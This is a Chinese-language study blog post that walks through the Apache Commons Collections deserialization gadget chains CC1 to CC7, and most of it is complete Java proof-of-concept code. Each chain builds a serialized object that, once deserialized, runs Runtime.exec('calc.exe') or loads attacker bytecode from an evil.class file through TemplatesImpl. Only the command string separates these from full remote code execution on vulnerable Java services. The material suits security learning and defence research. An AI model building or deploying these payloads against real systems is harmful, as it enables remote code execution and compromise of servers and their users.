Java反序列化链二周目

前言

最近缺席是学不进去,有点迷茫,不知道该怎么去学,是选择几个源码做一下代码审计还是继续深入研究java呢?也可能和我最近身体状态不好有关吧,只能选择二刷/三刷前面的反序列化链,学了反序列化链也有一段时间了,这次来好好整理一下

CC1

主要用到ConstantTransformer,InvokerTransformer,ChainedTransformer这几个类。ConstantTransformer类实现了Transformer接口,其transform方法作用是获取一个对象类型

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

InvokerTransformer类实现了Transformer和Serializable接口,重写了transform方法,他的transform方法是用反射调用指定的方法并且进行返回他的结果,

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

ChainedTransformer也是实现了Transformer和Serializable接口,其transform循环调用了transformers数组里的所有transform方法,把上一个transfromer的transform方法的结果返回作为下一个transfromer的transform方法的参数,我们可以用这三个来写一个小demo弹出计算器。image-20220419200534267

demo如下

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class Test {
    public static void main(String[] args) {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform("ch1e");
    }
}

目前还是手动去调用chainedTransformer的transform方法,我们需要找到自动调用,即从readObject方法开始就可以自动调用到chainedTransformer的transform方法。

TransformedMap

TransformedMap这条链的调用顺序如下,从AnnotationInvocationHandler的readObject方法开始看

img

最后调用了v5.setValue,但是v5是通过var4.next获取的,v4是通过this.memberValues.entrySet().iterator()获取的,所以v5就是this.memberValues.entrySet().iterator().next()获取,只要让this.memberValues是TransformedMap对象即可,所以我们只需要反射调用获取一个AnnotationInvocationHandler类即可,demo如下,这里还有个小坑,hashedMap.put("value","ch1e");这一步的value位置不能换,因为在AnnotationInvocationHandler中有这么一个判断,memberType != null,memberType 是通过memberTypes.get(name)获取,此时只有一个键值对的键名是value,所以我们让他不为空需要把键名设置为valueimage-20220419205733465

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value","ch1e");
        Map transformedMap= TransformedMap.decorate(hashedMap,null,chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor con = clazz.getDeclaredConstructor(Class.class, Map.class);
        con.setAccessible(true);
        Object o = con.newInstance(Retention.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}
image-20220419205338862

LazyMap

LazyMap这条链可以用到动态代理,LazyMap的get方法如下,调用了this.factory.transform

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

寻找调用get方法的地方,在AnnotationInvocationHandler的invoke方法中,满足方法名不是equals,toString,hashCode,annotationType,并且方法要没有参数,其实在AnnotationInvocationHandler类的readObject中刚好调用到了memberValues.entrySet(),我们只需要把memberValues作为我们动态代理的类,调用他的entrySet方法自动去调用AnnotationInvocationHandler的invoke方法。

if (member.equals("equals") && paramTypes.length == 1 &&
    paramTypes[0] == Object.class)
    return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
    return toStringImpl();
if (member.equals("hashCode"))
    return hashCodeImpl();
if (member.equals("annotationType"))
    return type;

// Handle annotation member accessors
Object result = memberValues.get(member);

所以我们只需要动态代理一个类,然后把他作为memberValues,即可完成反序列化攻击

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

public class LazyMapTest {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value","ch1e");
        LazyMap decorate = (LazyMap) LazyMap.decorate(hashedMap, chainedTransformer);
        Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Retention.class, decorate);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
        Object object=declaredConstructor.newInstance(Retention.class,mapProxy);
        serialize(object);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

两条链在poc上的区别就是LazyMap这条只是把第一条里面transformedMap换成了代理类

CC2

版本限制:Commons-Collections 4.0

pom.xml

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

调用链如下

image-20220420143000133

TransformingComparator类构造方法publice,调用了自身的transformer的transform方法

image-20220411172747223

在PriorityQueue类的siftDownUsingComparator调用了自身的comparator的compare方法,只需要让这里的comparator为TransformingComparator类,并且TransformingComparator类的transformer为ChainedTransformer类即可

image-20220411172753873

Demo如下:

package cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
        queue.add(123);
        queue.add(456);
        
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

但是还是之前那个问题,在序列化的时候触发了。在add的时候,触发了siftUpUsingComparator方法。所以我们要先设置一个假的transformer,然后在添加完元素以后再重新设置成真的

package cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
        queue.add(123);
        queue.add(456);
        Class clazz=ChainedTransformer.class;
        Field iTransformers = clazz.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);
//        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CC3

一般情况下,defineClass的作用域一般是不开放的,但是这里就刚好遇到了一个TemplatesImpl,TemplatesImpl位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,他定义了一个内部类TransletClassLoader,TransletClassLoader的defineClass方法如下,这个内部类重写了defineClass方法,并且是缺省类型,同包下可以访问,就可以被外部调用,我们可以通过他去加载字节码

img

所以我们只需要反射获取一个TemplatesImpl的类,然后设置_class为null,_tfactory为一个TransformerFactoryImpl类,_bytecodes为恶意类的字节码,并且恶意类需要继承自AbstractTranslet,否则会报错

package cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz=templates.getClass();
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
        byte[][] codes={bytes};
        bytecodes.set(templates,codes);
        Field tfactory = clazz.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

但是这样还是是手动触发,我们需要让他自动触发,有两个方法,一个就是用cc1链的后半部分来触发,只需要改成如下即可

package cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz=templates.getClass();
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
        byte[][] codes={bytes};
        bytecodes.set(templates,codes);
        Field tfactory = clazz.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap hashMap=new HashMap();
        hashMap.put("value","key");
        Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
        Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
        Object o = constructor.newInstance(Retention.class, proxyMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

但是在ysoserial里面,是通过TrAXFilter类去实现,构造函数调用了自身templates的newTransformer()方法

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

我们只需要把上面之前的templates传入即可。但是问题来了,TrAXFilter对象并没有实现Serializable 接口,所以其他地方入手。除了TrAXFilter类以外,还用到InstantiateTransformer这个类,构造方法如下

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

transform方法如下

image-20220419222231219

我们需要传入一个Class和Object数组,他会把传入的参数作为input的构造函数的参数传入,相当于他调用了构造函数,所以我们这里只需要通过transform去创建一个TrAXFilter类即可

package cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz=templates.getClass();
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
        byte[][] codes={bytes};
        bytecodes.set(templates,codes);
        Field tfactory = clazz.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

CC4

不同于CC2的是使用InstantiateTransformer替换了InvokerTransformer,InstantiateTransformer在上面的cc3也遇到过,,他的transform方法实现了一个反射调用构造函数初始化一个类的功能

final Constructor<? extends T> con = input.getConstructor(iParamTypes);
return con.newInstance(iArgs);

demo如下

package cc4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class clazz=templates.getClass();
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"ch1e");
        Field bytecodes = clazz.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] bytes= Files.readAllBytes(Paths.get("D:\\evil.class"));
        byte[][] codes={bytes};
        bytecodes.set(templates,codes);
        Field tfactory = clazz.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer,
        };
        Transformer[] faketransformer=new Transformer[]{new ConstantTransformer(1)};
        ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformer);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<>(111,transformingComparator);
        queue.add(123);
        queue.add(456);
        Class c=ChainedTransformer.class;
        Field iTransformers = c.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CC2和CC4的区别不同就在于链子末尾不同,起点都是一样的。所以我们只要把之前的InvokerTransformer那部分用InstantiateTransformer替换即可

CC5

Gadget chain:
       ObjectInputStream.readObject()
           BadAttributeValueExpException.readObject()
               TiedMapEntry.toString()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Class.getMethod()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.getRuntime()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.exec()

lazymap.get后面的都很熟,看BadAttributeValueExpException.readObject()和TiedMapEntry.toString()

在BadAttributeValueExpException的readObject中调用了toString,valObj是获取val属性的值,为了下一步执行到TiedMapEntry.toString,所以valObj要是TiedMapEntry对象

img

TiedMapEntry.toString调用了自身的getValue方法,getValue调用了自身map属性的get方法,所以我们需要满足TiedMapEntry的map属性是LazyMap类的对象,这里的话应该是要jdk1.8.我jdk1.7不行

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception{
        org.apache.commons.collections.Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"1");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Class c=BadAttributeValueExpException.class;
        Field valField = c.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CC6

主要调用链如下

HashMap.readObject()->HashMap.hash()->TiedMapEntry.hashcode()->TiedMapEntry.getValue()->LazyMap.get()

有两点要注意,第一点是HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,我们先放入一个假的Transformer,然后后面通过反射把真的替换上去,第二点是需要lazyMap.remove("ch1e");不然没法触发

img
package cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value","ch1e");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashedMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"ch1e");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry,"boycc1");
        lazyMap.remove("ch1e");

        Class clazz=LazyMap.class;
        Field factory = clazz.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,chainedTransformer);
        serialize(hashMap1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CC7

CC7比较有意思,可以仔细看看

img
image-20220411172908745

后面的部分其实还是差不多,调用lazymap的get方法,主要是前面的内容,我们可以首先来看一下Hashtable的序列化的过程,就是看他人writeObject方法

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
    Entry<Object, Object> entryStack = null;

    synchronized (this) {
        // Write out the length, threshold, loadfactor
        s.defaultWriteObject();

        // Write out length, count of elements
        s.writeInt(table.length);
        s.writeInt(count);

        // Stack copies of the entries in the table
        for (int index = 0; index < table.length; index++) {
            Entry<?,?> entry = table[index];

            while (entry != null) {
                entryStack =
                    new Entry<>(0, entry.key, entry.value, entryStack);
                entry = entry.next;
            }
        }
    }

    // Write out the key/value objects from the stacked entries
    while (entryStack != null) {
        s.writeObject(entryStack.key);
        s.writeObject(entryStack.value);
        entryStack = entryStack.next;
    }
}

这里的话他进行序列化,首先写入了table的长度以及table的元素个数,然后取出table中的元素,放入entryStack,这里其实就是栈,然后把栈里面的每个元素用writeObject写入。

我们再来看一下他的反序列化的流程

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

首先先读取了table数组的容量和元素个数,然后根据origlength和elements算出table的长度,后面就根据length创建table数组,反序列化的时候依次读取每个key和value,用reconstitutionPut方法放入table数组,接下来来看reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
        Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

首先判断value是否为空,为空抛出异常,然后重写计算了hash和下标,并且判断是否有元素重复,如果不重复的话,会把元素转换成Entry然后放到tab数组里,这里主要是在e.key.equals(key)触发,但是走到这需要两个元素,因为只他要进行比较,一个元素没法进行比较,并且这俩元素的hash也要相同e.key.equals(key)这个函数其实调用了LazyMap的equals,但是LazyMap本身是没有equals这个方法,这个方法来源于他继承的抽象类AbstractMapDecorator

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

首先先判断了一下是否是同一对象,然后去调用map.equals(object)方法,这里的map其实就是LazyMap通过decorate把HashMap传给了他,所以这里其实是调用了HashMap的equals方法,但是HashMap继承了AbstractMap抽象类,这个抽象类中有equals方法

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    if (m.size() != size())
        return false;

    try {
        Iterator<Entry<K,V>> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

他首先在第一个if判断了是否是同一对象,在第二个if判断运行类型是否不是Map,然后强制转换成Map,然后还得判断Map中元素的个数,然后就是使用迭代器遍历每个元素,获取到每个key和value,如果value不是null,会调用m.get(key),这里m的本质上是LazyMap,所以就成功调用到了LazyMap的get方法啊。

但是有意思的一点是,在ysoserial中最后调用了lazyMap2.remove(“yy”);这是为什么呢?其实和前面几条链类似,在使用hashtable.put(lazyMap2,2)的时候,lazyMap2会调用AbstractMap抽象类的equals方法,equals内部会调用lazyMap2的get方法判断table中元素key在lazyMap2是否存在,如果不存在会put进去。

image-20220411172917546

